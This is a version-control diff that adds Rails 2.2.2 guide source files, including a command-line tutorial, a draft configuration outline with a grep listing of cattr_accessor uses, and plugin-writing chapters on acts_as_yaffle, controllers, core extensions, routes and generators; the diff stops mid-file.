--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/command_line.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/command_line.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,147 @@
+A Guide to The Rails Command Line
+=================================
+
+Rails comes with every command line tool you'll need to
+
+* Create a Rails application
+* Generate models, controllers, database migrations, and unit tests
+* Start a development server
+* Mess with objects through an interactive shell
+* Profile and benchmark your new creation
+ 
+... and much, much more! (Buy now!)
+
+This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.
+
+== Command Line Basics ==
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* console
+* server
+* rake
+* generate
+* rails
+ 
+Let's create a simple Rails application to step through each of these commands in context.
+
+=== rails ===
+
+The first thing we'll want to do is create a new Rails application by running the `rails` command after installing Rails.
+
+NOTE: You know you need the rails gem installed by typing `gem install rails` first, right? Okay, okay, just making sure.
+
+[source,shell]
+------------------------------------------------------
+$ rails commandsapp
+
+     create  
+     create  app/controllers
+     create  app/helpers
+     create  app/models
+     ...
+     ...
+     create  log/production.log
+     create  log/development.log
+     create  log/test.log
+------------------------------------------------------
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+NOTE: This output will seem very familiar when we get to the `generate` command. Creepy foreshadowing!
+
+=== server ===
+
+Let's try it! The `server` command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.
+
+NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
+
+Here we'll flex our `server` command, which without any prodding of any kind will run our new shiny Rails app:
+
+[source,shell]
+------------------------------------------------------
+$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
+[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
+[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
+------------------------------------------------------
+
+WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
+
+See? Cool! It doesn't do much yet, but we'll change that.
+
+=== generate ===
+
+The `generate` command uses templates to create a whole lot of things. You can always find out what's available by running `generate` by itself. Let's do that:
+
+[source,shell]
+------------------------------------------------------
+$ ./script/generate
+Usage: ./script/generate generator [options] [args]
+
+...
+...
+
+Installed Generators
+  Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
+
+...
+...
+------------------------------------------------------
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+NOTE: All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like `rails` or `./script/generate`). For others, you can try adding `--help` or `-h` to the end, as in `./script/server --help`.
+
+[source,shell]
+------------------------------------------------------
+$ ./script/generate controller
+Usage: ./script/generate controller ControllerName [options]
+
+...
+...
+
+Example:
+    `./script/generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/functional/credit_card_controller_test.rb
+
+Modules Example:
+    `./script/generate controller 'admin/credit_card' suspend late_fee`
+
+    Credit card admin controller with URLs /admin/credit_card/suspend.
+        Controller: app/controllers/admin/credit_card_controller.rb
+        Views:      app/views/admin/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/functional/admin/credit_card_controller_test.rb
+------------------------------------------------------
+
+Ah, the controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of *hello*, which will say something nice to us.
+
+[source,shell]
+------------------------------------------------------
+$ ./script/generate controller Greeting hello
+     exists  app/controllers/
+     exists  app/helpers/
+     create  app/views/greeting
+     exists  test/functional/
+     create  app/controllers/greetings_controller.rb
+     create  test/functional/greetings_controller_test.rb
+     create  app/helpers/greetings_helper.rb
+     create  app/views/greetings/hello.html.erb
+------------------------------------------------------
+
+Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/configuring.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/configuring.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/configuring.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,225 @@
+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+== Locations for Initialization Code
+
+preinitializers
+environment.rb first
+env-specific files
+initializers (load_application_initializers)
+after-initializer
+
+== Using a Preinitializer
+
+== Configuring Rails Components
+
+=== Configuring Active Record
+
+=== Configuring Action Controller
+
+=== Configuring Action View
+
+=== Configuring Action Mailer
+
+=== Configuring Active Resource
+
+=== Configuring Active Support
+
+== Using Initializers
+ organization, controlling load order
+
+== Using an After-Initializer
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket]
+
+* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy]
+
+
+actionmailer/lib/action_mailer/base.rb
+257:    cattr_accessor :logger
+267:    cattr_accessor :smtp_settings
+273:    cattr_accessor :sendmail_settings
+276:    cattr_accessor :raise_delivery_errors
+282:    cattr_accessor :perform_deliveries
+285:    cattr_accessor :deliveries
+288:    cattr_accessor :default_charset
+291:    cattr_accessor :default_content_type
+294:    cattr_accessor :default_mime_version
+297:    cattr_accessor :default_implicit_parts_order
+299:    cattr_reader :protected_instance_variables
+
+actionmailer/Rakefile
+36:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+actionpack/lib/action_controller/base.rb
+263:    cattr_reader :protected_instance_variables
+273:    cattr_accessor :asset_host
+279:    cattr_accessor :consider_all_requests_local
+285:    cattr_accessor :allow_concurrency
+317:    cattr_accessor :param_parsers
+321:    cattr_accessor :default_charset
+325:    cattr_accessor :logger
+329:    cattr_accessor :resource_action_separator
+333:    cattr_accessor :resources_path_names
+337:    cattr_accessor :request_forgery_protection_token
+341:    cattr_accessor :optimise_named_routes
+351:    cattr_accessor :use_accept_header
+361:    cattr_accessor :relative_url_root
+
+actionpack/lib/action_controller/caching/pages.rb
+55:          cattr_accessor :page_cache_directory
+58:          cattr_accessor :page_cache_extension
+
+actionpack/lib/action_controller/caching.rb
+37:        cattr_reader :cache_store
+48:        cattr_accessor :perform_caching
+
+actionpack/lib/action_controller/dispatcher.rb
+98:    cattr_accessor :error_file_path
+
+actionpack/lib/action_controller/mime_type.rb
+24:    cattr_reader :html_types, :unverifiable_types
+
+actionpack/lib/action_controller/rescue.rb
+36:      base.cattr_accessor :rescue_responses
+40:      base.cattr_accessor :rescue_templates
+
+actionpack/lib/action_controller/session/active_record_store.rb
+60:        cattr_accessor :data_column_name
+170:        cattr_accessor :connection
+173:        cattr_accessor :table_name
+177:        cattr_accessor :session_id_column
+181:        cattr_accessor :data_column
+282:      cattr_accessor :session_class
+
+actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+44:    cattr_accessor :included_tags, :instance_writer => false
+
+actionpack/lib/action_view/base.rb
+189:    cattr_accessor :debug_rjs
+193:    cattr_accessor :warn_cache_misses
+
+actionpack/lib/action_view/helpers/active_record_helper.rb
+7:    cattr_accessor :field_error_proc
+
+actionpack/lib/action_view/helpers/form_helper.rb
+805:    cattr_accessor :default_form_builder
+
+actionpack/lib/action_view/template_handlers/erb.rb
+47:      cattr_accessor :erb_trim_mode
+
+actionpack/test/active_record_unit.rb
+5:  cattr_accessor :able_to_connect
+6:  cattr_accessor :connected
+
+actionpack/test/controller/filters_test.rb
+286:    cattr_accessor :execution_log
+
+actionpack/test/template/form_options_helper_test.rb
+3:TZInfo::Timezone.cattr_reader :loaded_zones
+
+activemodel/lib/active_model/errors.rb
+28:    cattr_accessor :default_error_messages
+
+activemodel/Rakefile
+19:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+activerecord/lib/active_record/attribute_methods.rb
+9:      base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
+11:      base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false
+
+activerecord/lib/active_record/base.rb
+394:    cattr_accessor :logger, :instance_writer => false
+443:    cattr_accessor :configurations, :instance_writer => false
+450:    cattr_accessor :primary_key_prefix_type, :instance_writer => false
+456:    cattr_accessor :table_name_prefix, :instance_writer => false
+461:    cattr_accessor :table_name_suffix, :instance_writer => false
+467:    cattr_accessor :pluralize_table_names, :instance_writer => false
+473:    cattr_accessor :colorize_logging, :instance_writer => false
+478:    cattr_accessor :default_timezone, :instance_writer => false
+487:    cattr_accessor :schema_format , :instance_writer => false
+491:    cattr_accessor :timestamped_migrations , :instance_writer => false
+
+activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+11:    cattr_accessor :connection_handler, :instance_writer => false
+
+activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+166:      cattr_accessor :emulate_booleans
+
+activerecord/lib/active_record/fixtures.rb
+498:  cattr_accessor :all_loaded_fixtures
+
+activerecord/lib/active_record/locking/optimistic.rb
+38:        base.cattr_accessor :lock_optimistically, :instance_writer => false
+
+activerecord/lib/active_record/migration.rb
+259:    cattr_accessor :verbose
+
+activerecord/lib/active_record/schema_dumper.rb
+13:    cattr_accessor :ignore_tables 
+
+activerecord/lib/active_record/serializers/json_serializer.rb
+4:      base.cattr_accessor :include_root_in_json, :instance_writer => false
+
+activerecord/Rakefile
+142:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+activerecord/test/cases/lifecycle_test.rb
+61:  cattr_reader :last_inherited
+
+activerecord/test/cases/mixin_test.rb
+9:  cattr_accessor :forced_now_time
+
+activeresource/lib/active_resource/base.rb
+206:    cattr_accessor :logger
+
+activeresource/Rakefile
+43:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+activesupport/lib/active_support/buffered_logger.rb
+17:    cattr_accessor :silencer
+
+activesupport/lib/active_support/cache.rb
+81:      cattr_accessor :logger
+
+activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+5:#    cattr_accessor :hair_colors
+10:  def cattr_reader(*syms)
+29:  def cattr_writer(*syms)
+50:  def cattr_accessor(*syms)
+51:    cattr_reader(*syms)
+52:    cattr_writer(*syms)
+
+activesupport/lib/active_support/core_ext/logger.rb
+34:  cattr_accessor :silencer
+
+activesupport/test/core_ext/class/attribute_accessor_test.rb
+6:      cattr_accessor :foo
+7:      cattr_accessor :bar, :instance_writer => false
+
+activesupport/test/core_ext/module/synchronization_test.rb
+6:    @target.cattr_accessor :mutex, :instance_writer => false
+
+railties/doc/guides/html/creating_plugins.html
+786:      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field
+860:      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field
+
+railties/lib/rails_generator/base.rb
+93:      cattr_accessor :logger
+
+railties/Rakefile
+265:  rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object'
+
+railties/test/rails_info_controller_test.rb
+12:    cattr_accessor :local_request
+
+Rakefile
+32:  rdoc.options << '-A cattr_accessor=object'
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/acts_as_yaffle.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/acts_as_yaffle.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/acts_as_yaffle.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,191 @@
+== Add an `acts_as_yaffle` method to Active Record ==
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models.  In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
+
+To begin, set up your files so that you have:
+
+*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+[source, ruby]
+------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+require 'yaffle/acts_as_yaffle'
+------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+  # your code will go here
+end
+------------------------------------------------------
+
+Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
+
+One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    # any method placed here will apply to classes, like Hickwall
+    def acts_as_something
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    # any method placed here will apply to instaces, like @hickwall
+  end
+end
+------------------------------------------------------
+
+With structure you can easily separate the methods that will be used for the class (like `Hickwall.some_method`) and the instance (like `@hickwell.some_method`).
+
+=== Add a class method ===
+
+This plugin will expect that you've added a method to your model named 'last_squawk'.  However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else.  This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+[source, ruby]
+------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+end
+------------------------------------------------------
+
+To make these tests pass, you could modify your `acts_as_yaffle` file like so:
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+------------------------------------------------------
+
+=== Add an instance method ===
+
+This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'.  The 'squawk' method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+[source, ruby]
+------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+  
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end  
+  
+  def test_wickwalls_squawk_should_populate_last_tweeted_at
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end  
+end
+------------------------------------------------------
+
+Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    def squawk(string)
+      write_attribute(self.class.yaffle_text_field, string.to_squawk)
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+------------------------------------------------------
+
+.Editor's note:
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/appendix.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/appendix.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/appendix.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+== Appendix ==
+
+=== References ===
+
+ * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
+ * http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii
+ * http://github.com/technoweenie/attachment_fu/tree/master
+ * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
+
+=== Final plugin directory structure ===
+
+The final plugin should have a directory structure that looks something like this:
+
+------------------------------------------------
+  |-- MIT-LICENSE
+  |-- README
+  |-- Rakefile
+  |-- generators
+  |   `-- yaffle
+  |       |-- USAGE
+  |       |-- templates
+  |       |   `-- definition.txt
+  |       `-- yaffle_generator.rb
+  |-- init.rb
+  |-- install.rb
+  |-- lib
+  |   |-- acts_as_yaffle.rb
+  |   |-- commands.rb
+  |   |-- core_ext.rb
+  |   |-- routing.rb
+  |   `-- view_helpers.rb
+  |-- tasks
+  |   `-- yaffle_tasks.rake
+  |-- test
+  |   |-- acts_as_yaffle_test.rb
+  |   |-- core_ext_test.rb
+  |   |-- database.yml
+  |   |-- debug.log
+  |   |-- routing_test.rb
+  |   |-- schema.rb
+  |   |-- test_helper.rb
+  |   `-- view_helpers_test.rb
+  |-- uninstall.rb
+  `-- yaffle_plugin.sqlite3.db
+------------------------------------------------
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/controllers.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/controllers.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/controllers.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+== Add a controller ==
+
+This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.
+
+You can test your plugin's controller as you would test any other controller:
+
+*vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:*
+
+[source, ruby]
+----------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'woodpeckers_controller'
+require 'action_controller/test_process'
+
+class WoodpeckersController; def rescue_action(e) raise e end; end
+
+class WoodpeckersControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = WoodpeckersController.new
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+  end
+
+  def test_index
+    get :index
+    assert_response :success
+  end
+end
+----------------------------------------------
+
+This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with `rake`, you can make it pass like so:
+
+*vendor/plugins/yaffle/lib/yaffle.rb:*
+
+[source, ruby]
+----------------------------------------------
+%w{ models controllers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+----------------------------------------------
+
+
+*vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
+
+[source, ruby]
+----------------------------------------------
+class WoodpeckersController < ActionController::Base
+  
+  def index
+    render :text => "Squawk!"
+  end
+  
+end
+----------------------------------------------
+
+Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/core_ext.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/core_ext.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/core_ext.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,123 @@
+== Extending core classes ==
+
+This section will explain how to add a method to String that will be available anywhere in your rails app by:
+
+ * Writing tests for the desired behavior
+ * Creating and requiring the correct files
+
+=== Creating the test ===
+
+In this example you will add a method to String named `to_squawk`.  To begin, create a new test file with a few assertions:
+
+*vendor/plugins/yaffle/test/core_ext_test.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class CoreExtTest < Test::Unit::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+--------------------------------------------------------
+
+Navigate to your plugin directory and run `rake test`:
+
+--------------------------------------------------------
+cd vendor/plugins/yaffle
+rake test
+--------------------------------------------------------
+
+The test above should fail with the message:
+
+--------------------------------------------------------
+ 1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+--------------------------------------------------------
+
+Great - now you are ready to start development.
+
+=== Organize your files ===
+
+A common pattern in rails plugins is to set up the file structure like this:
+
+--------------------------------------------------------
+|-- lib
+|   |-- yaffle
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb
+--------------------------------------------------------
+
+The first thing we need to to is to require our 'lib/yaffle.rb' file from 'rails/init.rb':
+
+*vendor/plugins/yaffle/rails/init.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require 'yaffle'
+--------------------------------------------------------
+
+Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
+
+*vendor/plugins/yaffle/lib/yaffle.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require "yaffle/core_ext"
+--------------------------------------------------------
+
+Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
+
+*vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
+
+[source, ruby]
+--------------------------------------------------------
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+--------------------------------------------------------
+
+To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.  To see this in action, fire up a console and start squawking:
+
+--------------------------------------------------------
+$ ./script/console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+--------------------------------------------------------
+
+=== Working with init.rb ===
+
+When rails loads plugins it looks for the file named init.rb.  However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior.
+
+Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class.  A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above.
+
+If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues:
+
+*vendor/plugins/yaffle/init.rb*
+
+[source, ruby]
+---------------------------------------------------
+Hash.class_eval do
+  def is_a_special_hash?
+    true
+  end
+end
+---------------------------------------------------
+
+Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`:
+
+*vendor/plugins/yaffle/init.rb*
+
+[source, ruby]
+---------------------------------------------------
+class ::Hash
+  def is_a_special_hash?
+    true
+  end
+end
+---------------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/custom_route.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/custom_route.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/custom_route.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+== Add a Custom Route ==
+
+Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself.  Jamis Buck showed a great example of this in http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
+
+*vendor/plugins/yaffle/test/routing_test.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require "#{File.dirname(__FILE__)}/test_helper"
+
+class RoutingTest < Test::Unit::TestCase
+
+  def setup
+    ActionController::Routing::Routes.draw do |map|
+      map.yaffles
+    end
+  end
+
+  def test_yaffles_route
+    assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
+  end
+
+  private
+
+    # yes, I know about assert_recognizes, but it has proven problematic to
+    # use in these tests, since it uses RouteSet#recognize (which actually
+    # tries to instantiate the controller) and because it uses an awkward
+    # parameter order.
+    def assert_recognition(method, path, options)
+      result = ActionController::Routing::Routes.recognize_path(path, :method => method)
+      assert_equal options, result
+    end
+end
+--------------------------------------------------------
+
+*vendor/plugins/yaffle/init.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require "routing"
+ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
+--------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/routing.rb*
+
+[source, ruby]
+--------------------------------------------------------
+module Yaffle #:nodoc:
+  module Routing #:nodoc:
+    module MapperExtensions
+      def yaffles
+        @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
+      end
+    end
+  end
+end
+--------------------------------------------------------
+
+*config/routes.rb*
+
+[source, ruby]
+--------------------------------------------------------
+ActionController::Routing::Routes.draw do |map|
+  ...
+  map.yaffles
+end
+--------------------------------------------------------
+
+You can also see if your routes work by running `rake routes` from your app directory.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/gem.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/gem.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/gem.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/generator_method.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/generator_method.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/generator_method.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,89 @@
+== Add a custom generator command ==
+
+You may have noticed above that you can used one of the built-in rails migration commands `migration_template`.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
+This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'.  This example creates a very simple method that adds or removes a text file.
+
+To start, add the following test method:
+
+*vendor/plugins/yaffle/test/generator_test.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+def test_generates_definition
+  Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+  definition = File.read(File.join(fake_rails_root, "definition.txt"))
+  assert_match /Yaffle\:/, definition
+end
+-----------------------------------------------------------
+
+Run `rake` to watch the test fail, then make the test pass add the following:
+
+*vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
+
+-----------------------------------------------------------
+Yaffle: A bird
+-----------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/yaffle.rb*
+
+[source, ruby]
+-----------------------------------------------------------
